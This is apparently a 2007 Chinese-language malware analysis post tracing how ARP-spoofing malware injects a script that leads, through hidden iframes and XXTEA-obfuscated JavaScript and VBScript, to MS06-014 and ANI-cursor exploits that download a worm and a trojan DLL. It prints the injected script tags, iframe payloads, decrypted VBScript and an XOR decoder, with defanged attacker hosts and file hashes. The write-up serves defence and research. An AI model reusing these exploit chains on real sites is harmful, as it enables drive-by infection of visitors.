ARP病毒自動添加的網址利用ms07004EXP和MS0614EXP傳播Worm.Win32.Delf.cc等

endurer 原創
2007-05-24 第1版

ARP病毒自動加入的網址為：
/---
＜script language＝javascript src＝hxxp:／／google**.17***173**8.org／ad***.js＞＜／script＞
---/

ad***.js 包含代碼：
/---
document.write（'＜iframe width＝0 height＝0 src＝"hxxp:／／google**.17***173**8.org／p*d***.htm"＞＜／iframe＞'）;
---/

p*d***.htm 首先引入檔案jscode.js，其內容是使用eval（）執行自訂函數，從而產生自訂函數utf8to16（）、xxtea_decrypt（）、base64DecodeChars（），用於解密並輸出變數t的值。

t 的值解密後為VBScript指令碼：
/---
＜script language＝VBScript＞
on error resume next
Set downf ＝ document.createElement（"object"）
downf.setAttribute "classid", "clsid:BD9"＆"6C556－6"＆"5A3－11D"＆"0－983A－00C"＆"04FC2"＆"9E36"
str＝"Microsoft.XMLHTTP"
Set O ＝ downf.CreateObject（str,""）
if Not Err.Number ＝ 0 then
err.clear
'msgbox "沒有0614漏洞,頁面轉到ms07004EXP!"
document.write（"＜iframe width＝""0"" height＝""0"" src＝""ms07017.htm""＞＜／iframe＞"）
else
'msgbox "存在0614漏洞,頁面轉到MS0614的EXP!"
document.write（"＜iframe width＝""0"" height＝""0"" src＝""06014.htm""＞＜／iframe＞"）
end if
＜／script＞
---/

ms07017.htm 與 p*d***.htm 相似，首先引入檔案jscode.js，其內容是使用eval（）執行自訂函數，從而產生自訂函數utf8to16（）、xxtea_decrypt（）、base64DecodeChars（），用於解密並輸出變數t的值。

解密後的t值為JavaScript指令碼，功能是如果cookie變數“MTV”不存在，則建立，並輸出sscape（）編碼的代碼：
/---
＜script src＝"ani.js"＞＜／script＞
---/

ani.js的內容為JavaScript指令碼，包含代碼：
/---
document.writeln（“＜DIV style＝/“CURSOR: url（hxxp:/／/／google**.17***173**8.org/／ani.jpg）/”＞＜/／DIV＞＜/／DIV＞＜/／BODY＞＜/／HTML＞”）;
---/

ani.jpg利用 ANI漏洞下載 update.exe

檔案說明符 : D:/test/update.exe
屬性 : A---
擷取檔案版本資訊大小失敗!
建立時間 : 2007-5-23 12:13:25
修改時間 : 2007-5-23 12:13:26
訪問時間 : 2007-5-23 0:0:0
大小 : 36435 位元組 35.595 KB
MD5 : e32966b40d3e655f1912b2cd6930b24b

Kaspersky 報為 Worm.Win32.Delf.cc，瑞星報為 Trojan.Mnless.lxp

06014.htm包含javascript代碼，功能是使用自訂函數utf8to16（）、xxtea_decrypt（）、base64DecodeChars（），用於解密並輸出變數t的值。

t 的值解密後為VBScript指令碼，功能是利用 Adodb.Stream、Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下載rss.dll，儲存為%windir%/WinHttp.dll，下載update.exe，儲存為%windir%/KB726255.log，

建立WScript.Shell，在註冊表HKLM/SOFTWARE/Classes/CLSID/{36CD708B－6077－4C02－9377－D73EAA495A0F}下建立鍵HTTP Execute Hooks和一些值。

其中部分代碼需要使用自訂函數
/---
Function NC（x）
For i＝1 to Len（x） Step 2
NC＝NC ＆ Chr（CLng（"＆H" ＆ Mid（x,i,2）） Xor 23）
Next
End Function
---/

來解密。

檔案說明符 : D:/test/rss.dll
屬性 : A---
語言 : 中文（中國）
檔案版本 : 6.00
說明 : Windows HTTPMon Dll
著作權 : （C） Microsoft Corporation. All rights reserved.
備忘 :
產品版本 : 6.00
產品名稱 : Microsoft（R） Windows（R） Operating System
公司名稱 : Microsoft Corporation
合法商標 :
內部名稱 : WINHTTP
源檔案名稱 : WINHTTP.DLL
建立時間 : 2007-5-24 13:57:51
修改時間 : 2007-5-24 13:57:54
訪問時間 : 2007-5-24 0:0:0
大小 : 5120 位元組 5.0 KB
MD5 : 5164bccd2a40d9ac9bf83453c171c720